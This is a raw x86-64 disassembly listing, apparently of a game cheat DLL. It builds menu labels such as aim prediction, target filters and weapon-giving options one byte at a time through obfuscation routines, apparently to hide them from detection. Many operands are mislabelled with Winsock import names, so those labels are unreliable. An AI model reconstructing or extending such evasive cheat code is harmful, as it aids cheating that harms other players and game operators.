call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x640]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180014960
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2718]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d9a10
lea rcx, [rbp + 0x2718]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e3342]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2718]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm6
call fcn.180076bd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1010], xmm0
mov cl, 0x20
call fcn.180056b60
mov byte [rsp + 0x50], al
mov cl, 0x41
call fcn.180056b60
mov byte [rsp + 0x51], al
mov cl, 0x69
call fcn.180056b60
mov byte [rsp + 0x52], al
mov cl, 0x6d
call fcn.180056b60
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.180056b60
mov byte [rsp + 0x54], al
mov cl, 0x50
call fcn.180056b60
mov byte [rsp + 0x55], al
mov cl, WSAStartup
call fcn.180056b60
mov byte [rsp + 0x56], al
mov cl, 0x65
call fcn.180056b60
mov byte [rsp + 0x57], al
mov cl, 0x64
call fcn.180056b60
movzx r13d, al
mov cl, 0x69
call fcn.180056b60
movzx r12d, al
mov cl, 0x63
call fcn.180056b60
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056b60
movzx r14d, al
mov cl, 0x69
call fcn.180056b60
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056b60
movzx edi, al
mov cl, WSAGetLastError
call fcn.180056b60
movzx ebx, al
xor ecx, ecx
call fcn.180056b60
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x1010], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x1011], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x1012], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x1013], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x1014], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x1015], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x1016], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x1017], cl
mov byte [rbp + 0x1018], r13b
mov byte [rbp + 0x1019], r12b
mov byte [rbp + 0x101a], r15b
mov byte [rbp + 0x101b], r14b
mov byte [rbp + 0x101c], sil
mov byte [rbp + 0x101d], dil
mov byte [rbp + 0x101e], bl
mov byte [rbp + 0x101f], al
lea rcx, [rbp + 0x2738]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x100000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recv
mov edx, ebx
lea rcx, [rbp + 0x2738]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x1010]
call fcn.180014b30
movzx ecx, byte [rax]
call fcn.180056b60
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2738]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d9bf0
lea rcx, [rbp + 0x2738]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1801f67b4]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2738]
call fcn.180011f20
movaps xmm1, xmm11
movaps xmm0, xmm15
call fcn.180076ad0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf18], xmm0
mov word [rbp + 0xf28], ax
mov cl, 0x23
call fcn.180014930
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.180014930
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.180014930
mov byte [rsp + 0x52], al
mov cl, 0x69
call fcn.180014930
mov byte [rsp + 0x53], al
mov cl, 0x6d
call fcn.180014930
mov byte [rsp + 0x54], al
mov cl, 0x5f
call fcn.180014930
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014930
mov byte [rsp + 0x56], al
mov cl, WSAStartup
call fcn.180014930
mov byte [rsp + 0x57], al
mov cl, 0x65
call fcn.180014930
mov byte [rsp + 0x58], al
mov cl, 0x64
call fcn.180014930
mov byte [rsp + 0x59], al
mov cl, 0x69
call fcn.180014930
movzx r13d, al
mov cl, 0x63
call fcn.180014930
movzx r12d, al
mov cl, 0x69
call fcn.180014930
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014930
movzx r14d, al
mov cl, 0x69
call fcn.180014930
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014930
movzx edi, al
mov cl, WSAGetLastError
call fcn.180014930
movzx ebx, al
xor ecx, ecx
call fcn.180014930
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xf18], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xf19], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xf1a], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xf1b], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xf1c], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xf1d], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xf1e], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xf1f], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xf20], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xf21], cl
mov byte [rbp + 0xf22], r13b
mov byte [rbp + 0xf23], r12b
mov byte [rbp + 0xf24], r15b
mov byte [rbp + 0xf25], r14b
mov byte [rbp + 0xf26], sil
mov byte [rbp + 0xf27], dil
mov byte [rbp + 0xf28], bl
mov byte [rbp + 0xf29], al
lea rcx, [rbp + 0x2758]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x200000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_select
mov edx, ebx
lea rcx, [rbp + 0x2758]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0xf18]
call fcn.180014880
movzx ecx, byte [rax]
call fcn.180014930
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2758]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d9e00
lea rcx, [rbp + 0x2758]
call fcn.1800143e0
mov rcx, rax
mov r8d, 0x304e2
lea rdx, [0x1805ddd90]
call fcn.18009e200
nop
lea rcx, [rbp + 0x2758]
call fcn.180011f20
cmp byte [reloc.WS2_32.dll_accept], sil
je 0x1800d9fba
movaps xmm0, xmm12
call fcn.180076bd0
xor eax, eax
cmp byte [0x1805e3345], al
je 0x1800d9f11
mov dword [rbp + 0x138], eax
mov word [rbp + 0x13c], ax
mov cl, 0x50
call fcn.180056a90
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056a90
movzx r14d, al
mov cl, 0x69
call fcn.180056a90
movzx esi, al
mov cl, WSAGetLastError
call fcn.180056a90
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a90
movzx ebx, al
xor ecx, ecx
call fcn.180056a90
mov byte [rbp + 0x138], r15b
mov byte [rbp + 0x139], r14b
mov byte [rbp + 0x13a], sil
mov byte [rbp + 0x13b], dil
mov byte [rbp + 0x13c], bl
mov byte [rbp + 0x13d], al
lea rdx, [rbp + 0x4588]
lea rcx, [rbp + 0x138]
call fcn.1800ed290
nop
mov ebx, 4
jmp 0x1800d9f6f
mov dword [rbp - 0x38], eax
mov byte [rbp - 0x34], al
mov cl, 0x4c
call fcn.1800ed800
movzx r14d, al
mov cl, 0x69
call fcn.1800ed800
movzx esi, al
mov cl, WSAGetLastError
call fcn.1800ed800
movzx edi, al
mov cl, 0x65
call fcn.1800ed800
movzx ebx, al
xor ecx, ecx
call fcn.1800ed800
mov byte [rbp - 0x38], r14b
mov byte [rbp - 0x37], sil
mov byte [rbp - 0x36], dil
mov byte [rbp - 0x35], bl
mov byte [rbp - 0x34], al
lea rdx, [rbp + 0x4568]
lea rcx, [rbp - 0x38]
call fcn.1800ed1f0
nop
mov ebx, 8
mov dword [rbp - 0x78], ebx
mov rcx, rax
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e3345]
call fcn.1800b3d40
nop
test bl, 8
je 0x1800d9f9f
and ebx, 0xfffffff7
lea rcx, [rbp + 0x4568]
call fcn.180011f20
nop
test bl, 4
je 0x1800d9fb0
lea rcx, [rbp + 0x4588]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm6
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x650], rax
mov dword [rbp + 0x658], eax
mov byte [rbp + 0x65c], al
mov cl, 0x20
call fcn.180014740
mov byte [rsp + 0x50], al
mov cl, 0x54
call fcn.180014740
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.180014740
mov byte [rsp + 0x52], al
mov cl, WSAStartup
call fcn.180014740
mov byte [rsp + 0x53], al
mov cl, 0x67
call fcn.180014740
mov byte [rsp + 0x54], al
mov cl, 0x65
call fcn.180014740
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014740
movzx r12d, al
mov cl, 0x20
call fcn.180014740
movzx r15d, al
mov cl, 0x50
call fcn.180014740
movzx r14d, al
mov cl, 0x65
call fcn.180014740
movzx esi, al
mov cl, 0x64
call fcn.180014740
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014740
movzx ebx, al
xor ecx, ecx
call fcn.180014740
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x650], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x651], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x652], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x653], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x654], cl
mov byte [rbp + 0x655], r13b
mov byte [rbp + 0x656], r12b
mov byte [rbp + 0x657], r15b
mov byte [rbp + 0x658], r14b
mov byte [rbp + 0x659], sil
mov byte [rbp + 0x65a], dil
mov byte [rbp + 0x65b], bl
mov byte [rbp + 0x65c], al
lea rcx, [rbp + 0x2778]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x400000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x2778]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x650]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180014740
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2778]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800da100
lea rcx, [rbp + 0x2778]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e333c]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2778]
call fcn.180011f20
movaps xmm0, xmm6
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x660], rax
mov dword [rbp + 0x668], eax
mov byte [rbp + 0x66c], al
mov cl, 0x20
call fcn.1800567a0
mov byte [rsp + 0x50], al
mov cl, 0x54
call fcn.1800567a0
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.1800567a0
mov byte [rsp + 0x52], al
mov cl, WSAStartup
call fcn.1800567a0
mov byte [rsp + 0x53], al
mov cl, 0x67
call fcn.1800567a0
mov byte [rsp + 0x54], al
mov cl, 0x65
call fcn.1800567a0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800567a0
movzx r12d, al
mov cl, 0x20
call fcn.1800567a0
movzx r15d, al
mov cl, 0x44
call fcn.1800567a0
movzx r14d, al
mov cl, 0x65
call fcn.1800567a0
movzx esi, al
mov cl, 0x61
call fcn.1800567a0
movzx edi, al
mov cl, 0x64
call fcn.1800567a0
movzx ebx, al
xor ecx, ecx
call fcn.1800567a0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x660], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x661], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x662], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x663], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x664], cl
mov byte [rbp + 0x665], r13b
mov byte [rbp + 0x666], r12b
mov byte [rbp + 0x667], r15b
mov byte [rbp + 0x668], r14b
mov byte [rbp + 0x669], sil
mov byte [rbp + 0x66a], dil
mov byte [rbp + 0x66b], bl
mov byte [rbp + 0x66c], al
lea rcx, [rbp + 0x2798]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x800000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x2798]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x660]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.1800567a0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2798]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800da2a0
lea rcx, [rbp + 0x2798]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1801f6794]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2798]
call fcn.180011f20
movaps xmm0, xmm6
call fcn.180076bd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x10a0], xmm0
mov qword [rbp + 0x10b0], rax
mov cl, 0x20
call fcn.180056880
mov byte [rsp + 0x50], al
mov cl, 0x54
call fcn.180056880
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.180056880
mov byte [rsp + 0x52], al
mov cl, WSAStartup
call fcn.180056880
mov byte [rsp + 0x53], al
mov cl, 0x67
call fcn.180056880
mov byte [rsp + 0x54], al
mov cl, 0x65
call fcn.180056880
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056880
mov byte [rsp + 0x56], al
mov cl, 0x20
call fcn.180056880
mov byte [rsp + 0x57], al
mov cl, 0x42
call fcn.180056880
mov byte [rsp + 0x58], al
mov cl, 0x65
call fcn.180056880
mov byte [rsp + 0x59], al
mov cl, 0x68
call fcn.180056880
mov byte [rsp + 0x5a], al
mov cl, 0x69
call fcn.180056880
mov byte [rsp + 0x60], al
mov cl, WSAGetLastError
call fcn.180056880
mov byte [rsp + 0x61], al
mov cl, 0x64
call fcn.180056880
mov byte [rsp + 0x62], al
mov cl, 0x20
call fcn.180056880
mov byte [rsp + 0x63], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056880
mov byte [rsp + 0x78], al
mov cl, 0x68
call fcn.180056880
movzx r13d, al
mov cl, 0x65
call fcn.180056880
movzx r12d, al
mov cl, 0x20
call fcn.180056880
movzx r15d, al
mov cl, 0x77
call fcn.180056880
movzx r14d, al
mov cl, 0x61
call fcn.180056880
movzx esi, al
mov cl, 0x6c
call fcn.180056880
movzx edi, al
mov cl, 0x6c
call fcn.180056880
movzx ebx, al
xor ecx, ecx
call fcn.180056880
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x10a0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x10a1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x10a2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x10a3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x10a4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x10a5], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x10a6], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x10a7], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0x10a8], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0x10a9], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0x10aa], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0x10ab], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0x10ac], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0x10ad], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0x10ae], cl
movzx ecx, byte [rsp + 0x78]
mov byte [rbp + 0x10af], cl
mov byte [rbp + 0x10b0], r13b
mov byte [rbp + 0x10b1], r12b
mov byte [rbp + 0x10b2], r15b
mov byte [rbp + 0x10b3], r14b
mov byte [rbp + 0x10b4], sil
mov byte [rbp + 0x10b5], dil
mov byte [rbp + 0x10b6], bl
mov byte [rbp + 0x10b7], al
lea rcx, [rbp + 0x27b8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x1000000
xor r8d, r8d
mov ebx, 0x18
mov edx, ebx
lea rcx, [rbp + 0x27b8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x10a0]
call fcn.180056750
movzx ecx, byte [rax]
call fcn.180056880
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x27b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800da530
lea rcx, [rbp + 0x27b8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1801f6795]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x27b8]
call fcn.180011f20
movaps xmm0, xmm6
call fcn.180076bd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf00], xmm0
mov word [rbp + 0xf10], ax
mov cl, 0x20
call fcn.180014850
mov byte [rsp + 0x50], al
mov cl, 0x54
call fcn.180014850
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.180014850
mov byte [rsp + 0x52], al
mov cl, WSAStartup
call fcn.180014850
mov byte [rsp + 0x53], al
mov cl, 0x67
call fcn.180014850
mov byte [rsp + 0x54], al
mov cl, 0x65
call fcn.180014850
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014850
mov byte [rsp + 0x56], al
mov cl, 0x20
call fcn.180014850
mov byte [rsp + 0x57], al
mov cl, 0x49
call fcn.180014850
mov byte [rsp + 0x58], al
mov cl, WSAGetLastError
call fcn.180014850
mov byte [rsp + 0x59], al
mov cl, 0x76
call fcn.180014850
movzx r13d, al
mov cl, 0x69
call fcn.180014850
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014850
movzx r15d, al
mov cl, 0x69
call fcn.180014850
movzx r14d, al
mov cl, 0x62
call fcn.180014850
movzx esi, al
mov cl, 0x6c
call fcn.180014850
movzx edi, al
mov cl, 0x65
call fcn.180014850
movzx ebx, al
xor ecx, ecx
call fcn.180014850
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xf00], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xf01], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xf02], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xf03], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xf04], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xf05], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xf06], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xf07], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xf08], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xf09], cl
mov byte [rbp + 0xf0a], r13b
mov byte [rbp + 0xf0b], r12b
mov byte [rbp + 0xf0c], r15b
mov byte [rbp + 0xf0d], r14b
mov byte [rbp + 0xf0e], sil
mov byte [rbp + 0xf0f], dil
mov byte [rbp + 0xf10], bl
mov byte [rbp + 0xf11], al
lea rcx, [rbp + 0x27d8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x2000000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_select
mov edx, ebx
lea rcx, [rbp + 0x27d8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xf00]
call fcn.180014880
movzx ecx, byte [rax]
call fcn.180014850
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x27d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800da740
lea rcx, [rbp + 0x27d8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1801f6796]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x27d8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180070430
movss xmm0, dword [0x1801ce844]
call fcn.180076c20
lea rcx, [rbp + 0x3b20]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
addss xmm0, xmm13
call fcn.180076bd0
lea rcx, [rbp + 0x3b28]
call fcn.180076f00
movss xmm6, dword [rax + 4]
subss xmm6, xmm13
lea rcx, [rbp + 0x3b30]
call fcn.180076f00
movss xmm1, dword [rax]
movss xmm7, dword [0x1801ce774]
subss xmm1, xmm7
movaps xmm2, xmm6
lea rcx, [rbp + 0x3b38]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x8c0], rax
mov dword [rbp + 0x8c8], eax
mov word [rbp + 0x8cc], ax
mov cl, 0x23
call fcn.1800567f0
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.1800567f0
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800567f0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800567f0
mov byte [rsp + 0x53], al
mov cl, 0x61
call fcn.1800567f0
mov byte [rsp + 0x54], al
mov cl, 0x77
call fcn.1800567f0
mov byte [rsp + 0x55], al
mov cl, WSAGetLastError
call fcn.1800567f0
movzx r13d, al
mov cl, 0x65
call fcn.1800567f0
movzx r12d, al
mov cl, WSAStartup
call fcn.1800567f0
movzx r15d, al
mov cl, 0x5f
call fcn.1800567f0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800567f0
movzx esi, al
mov cl, 0x61
call fcn.1800567f0
movzx edi, al
mov cl, 0x62
call fcn.1800567f0
movzx ebx, al
xor ecx, ecx
call fcn.1800567f0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x8c0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x8c1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x8c2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x8c3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x8c4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x8c5], cl
mov byte [rbp + 0x8c6], r13b
mov byte [rbp + 0x8c7], r12b
mov byte [rbp + 0x8c8], r15b
mov byte [rbp + 0x8c9], r14b
mov byte [rbp + 0x8ca], sil
mov byte [rbp + 0x8cb], dil
mov byte [rbp + 0x8cc], bl
mov byte [rbp + 0x8cd], al
lea rcx, [rbp + 0x27f8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x4000000
xor r8d, r8d
mov r14d, send
mov edx, r14d
lea rcx, [rbp + 0x27f8]
call fcn.180014330
xor edi, edi
mov esi, edi
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x8c0]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.1800567f0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x27f8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800da980
lea rcx, [rbp + 0x27f8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x27f8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x1238], rax
mov cl, 0x53
call fcn.180014790
mov byte [rsp + 0x68], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014790
mov byte [rsp + 0x69], al
mov cl, 0x61
call fcn.180014790
mov byte [rsp + 0x6a], al
mov cl, 0x77
call fcn.180014790
mov byte [rsp + 0x6b], al
mov cl, WSAGetLastError
call fcn.180014790
mov byte [rsp + 0x6c], al
mov cl, 0x65
call fcn.180014790
mov byte [rsp + 0x6d], al
mov cl, WSAStartup
call fcn.180014790
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.180014790
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1238], rax
lea rcx, [rbp + 0x2818]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x8000000
xor r8d, r8d
mov esi, 8
mov edx, esi
lea rcx, [rbp + 0x2818]
call fcn.180014330
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1238]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.180014790
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2818]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800daa80
lea rcx, [rbp + 0x2818]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x2818]
call fcn.180011f20
mov rcx, qword [0x1805e4a20]
call fcn.180075760
movsxd rdx, dword [0x1805e4f64]
lea rcx, [0x1805e5440]
call fcn.1800ed510
lea rcx, [rax + 8]
call fcn.1800143e0
mov r8, rax
lea rdx, str.Give__s
lea rcx, [rbp + 0x5240]
call fcn.1800b4330
movaps xmm0, xmm8
call fcn.180076c20
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xda0], xmm0
mov byte [rbp + 0xdb0], al
mov cl, 0x57
call fcn.180056890
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.180056890
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.180056890
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056890
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056890
mov byte [rsp + 0x54], al
mov cl, WSAGetLastError
call fcn.180056890
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056890
mov byte [rsp + 0x56], al
mov cl, 0x20
call fcn.180056890
mov byte [rsp + 0x57], al
mov cl, 0x53
call fcn.180056890
mov byte [rsp + 0x58], al
mov cl, 0x65
call fcn.180056890
movzx r13d, al
mov cl, 0x6c
call fcn.180056890
movzx r12d, al
mov cl, 0x65
call fcn.180056890
movzx r15d, al
mov cl, 0x63
call fcn.180056890
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056890
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056890
movzx edi, al
mov cl, WSAStartup
call fcn.180056890
movzx ebx, al
xor ecx, ecx
call fcn.180056890
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xda0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xda1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xda2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xda3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xda4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xda5], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xda6], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xda7], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xda8], cl
mov byte [rbp + 0xda9], r13b
mov byte [rbp + 0xdaa], r12b
mov byte [rbp + 0xdab], r15b
mov byte [rbp + 0xdac], r14b
mov byte [rbp + 0xdad], sil
mov byte [rbp + 0xdae], dil
mov byte [rbp + 0xdaf], bl
mov byte [rbp + 0xdb0], al
lea rcx, [rbp + 0x2838]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x10000000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recvfrom
mov edx, ebx
lea rcx, [rbp + 0x2838]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0xda0]
call fcn.1800148e0
movzx ecx, byte [rax]
call fcn.180056890
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2838]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dacb0
lea rcx, [rbp + 0x3b40]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x2838]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3b48]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x2838]
call fcn.180011f20
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xdb8], xmm0
mov byte [rbp + 0xdc8], al
mov cl, 0x57
call fcn.1800146c0
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.1800146c0
mov byte [rsp + 0x51], al
